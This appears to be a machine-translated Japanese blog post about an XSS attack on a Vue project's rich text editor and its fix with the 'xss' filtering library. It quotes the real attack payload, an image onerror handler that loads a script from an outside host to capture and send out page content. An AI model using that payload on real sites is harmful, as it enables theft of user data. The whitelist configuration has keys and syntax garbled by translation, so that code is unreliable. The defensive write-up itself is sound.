VUEプロジェクトでXSS攻撃に遭遇した実体験

VUEプロジェクトでXSS攻撃に遭遇した実体験

序文

インターネットの急速な発展に伴い、情報セキュリティの問題は企業にとって最も懸念される焦点の 1 つとなっており、フロントエンドは企業のセキュリティ問題を引き起こす高リスクの拠点となっています。モバイル インターネットの時代では、フロントエンド担当者は、XSS や CSRF などの従来のセキュリティ問題に加えて、ネットワーク ハイジャックやハイブリッド API への不正な呼び出しなどの新しいセキュリティ問題に遭遇することがよくあります。もちろん、ブラウザ自体は常に進化と発展を続けており、セキュリティを強化するために CSP や Same-Site Cookies などの新しいテクノロジーを常に導入していますが、潜在的な脅威は依然として多く存在しており、フロントエンド技術者は絶えず「漏れをチェックし、ギャップを埋める」必要があります。

原因を発見する

すべての責任はリッチ テキスト エディターにあります...

テキスト フィールドは、ユーザーが写真を直接貼り付けられるように必要に応じてリッチ テキスト エディターに変更されましたが、これはインターネットから写真をアップロードするユーザーによる攻撃でした。

攻撃コード 1" onerror=s=createElement('script');body.appendChild(s);s.src='//x0.nz/nQqS';

データがエコーされると、イメージはエラーを報告し、onerrorイベントを実行し、現在のページのスクリーンショットが撮られ、指定されたメールボックスに送信されます。

当初の解決策は、オンライン画像をアップロードするリッチ テキスト エディター メソッドを直接無効にすることでしたが、攻撃は再び繰り返されました。攻撃者は「fiddler」を使用してパラメータを変更し、同じ効果を実現しました。

最終的に、サードパーティの XSS 攻撃保護プラグインが使用され、バックエンドの戻りデータの送信と取得時にフィルタリングされるホワイトリストを構成することで問題が解決されました。

プラグインの中国語ドキュメントのアドレス: github.com/leizongmin/…

npm インストール xss

「xss」からfilterXSSをインポートします

カスタムフィルタリングルール

フィルタリングのために xss() 関数を呼び出すときに、2 番目のパラメータを使用してカスタム ルールを設定できます。

options = {}; // カスタムルール html = filterXSS('<script>alert("xss");</script>', options);

whiteList によって指定され、形式は次のようになります: {'タグ名': ['属性 1', '属性 2']}。ホワイトリストにないタグはフィルタリングされ、ホワイトリストにない属性もフィルタリングされます。

オプション = {
    stripIgnoreTagBody: true, // ホワイトリストにないタグとその内容は直接削除されます whiteList: {
        h1: ["スタイル"],
        h2: ["スタイル"],
        h3: ["スタイル"],
        h4: ["スタイル"],
        h5: ["スタイル"],
        h6: ["スタイル"],
        hr: ["スタイル"],
        範囲: ["スタイル"],
        強い: ["スタイル"],
        b: ["スタイル"],
        i: ["スタイル"],
        br: [],
        p: ["スタイル"],
        pre: ["スタイル"],
        コード: ["スタイル"],
        a: ["スタイル", "ターゲット", "href", "タイトル", "rel"],
        画像: ["スタイル", "ソース", "タイトル"],
        div: ["スタイル"],
        テーブル: ["スタイル", "幅", "境界線"],
        tr: ["スタイル"],
        td: ["スタイル", "幅", "列幅"],
        th: ["スタイル", "幅", "列範囲"],
        tbody: ["スタイル"],
        ul: ["スタイル"],
        li: ["スタイル"],
        ol: ["スタイル"],
        dl: ["スタイル"],
        dt: ["スタイル"],
        em: ["スタイル"],
        引用: ["スタイル"],
        セクション: ["スタイル"],
        ヘッダー: ["スタイル"],
        フッター: ["スタイル"],
        引用ブロック: ["スタイル"],
        オーディオ: ["自動再生", "コントロール", "ループ", "プリロード", "src"],
        ビデオ:
          「自動再生」、
          「コントロール」、
          "ループ"、
          「プリロード」、
          「ソース」、
          "身長"、
          "幅"、
        ]、
     },
     css: {
     // 上記のホワイトリストではタグのスタイル属性が許可されているため、攻撃者がこのメソッドを使用して攻撃するのを防ぐ必要があります。ホワイトリスト: {
          色: 真、
          "背景色": true,
          幅: true、
          高さ: true、
          「最大幅」:true、
          「最大高さ」: true、
          「最小幅」:true、
          「最小高さ」: true、
          「フォントサイズ」:true、
        },
    },
}

コンテンツ = filterXSS(コンテンツ、オプション)

要約する

VUE プロジェクトで発生した XSS 攻撃に関するこの記事はこれで終わりです。VUE プロジェクトの XSS 攻撃に関する関連記事については、123WORDPRESS.COM の以前の記事を検索するか、以下の関連記事を引き続き参照してください。今後とも 123WORDPRESS.COM をよろしくお願いいたします。

以下もご興味があるかもしれません:
  • Web セキュリティにおける XSS 攻撃と防御の概要

<<:  動的なセカンダリメニューを実現するためのCSS

>>:  PrometheusはGrafanaディスプレイを使用してMySQLを監視します

推薦する

uni-appのスタイルの詳細な説明

目次uni-app のスタイル要約するuni-app のスタイルsassプラグインは公式ウェブサイト...

Ubuntuの基本設定: openssh-serverのインストールと使用

Ubuntu 17.10 での openssh-server のインストールと使用を記録します。イン...

MySQL テーブル内の重複データを検索して削除する方法の概要

時々、データベース テーブルに重複したデータが大量に保存されます。これらの重複データはリソースを浪費...

フレームウィンドウ間の関連付けとハイパーリンクのターゲット属性の使用を実装する方法

フレーム ウィンドウの関連付けを実現するには、次に示すように、ハイパーリンクの「ターゲット」ウィンド...

HTML で入力テキスト入力キャッシュのクリアを禁止する 2 つの方法

ほとんどのブラウザはデフォルトで入力値をキャッシュし、ctl+F5 を使用して強制的に更新することに...

ウェブサイトのフロントエンドをエレガントでユーザーにとって魅力的なものにする方法

ウェブフロントエンドのウェブサイトの気質は感情であり、言葉なしでユーザーを魅了できる感情です。では、...

CentOS 8 に htop をインストールする方法のチュートリアル

システムをインタラクティブに監視したい場合は、htop コマンドが最適な選択肢の 1 つです。 ht...

vue-cli でレスポンシブ レイアウトを実装する方法

フロントエンド開発を行うと、PCとモバイル端末の適応に必然的に直面することになります。このような問題...

Mysqlのprepare前処理の具体的な使用法

目次1. 前処理2. 前処理塗布方法A. 例: B. 実行計画の変更を追跡するための前処理C. スト...

nginx をベースにした Web クラスター プロジェクトをすばやく構築する方法を説明します。

目次1. プロジェクト環境2. プロジェクトの説明3. プロジェクトの手順1. インストール2. 構...

Dockerコンテナの自動終了を停止する方法の詳細な説明

この記事では、Docker コンテナとフロントエンド プロセスの関係と、コンテナを永続的に実行できる...

HTML でフォントの色を設定する方法と、PS を使用して HTML で正確なフォントの色を取得する方法

1. HTMLフォントカラー設定HTML では、フォント タグを使用してフォント コンテンツの色を設...

docker を使用して Linux 環境に Springboot パッケージをデプロイするチュートリアル

springboot には tomcat サーバーが組み込まれているため、jar パッケージにパッケ...

JS オブジェクトのコピー (ディープ コピーとシャロー コピー)

目次1. 浅いコピー1. Object.assign(ターゲット、ソース、ソース...) 2. スプ...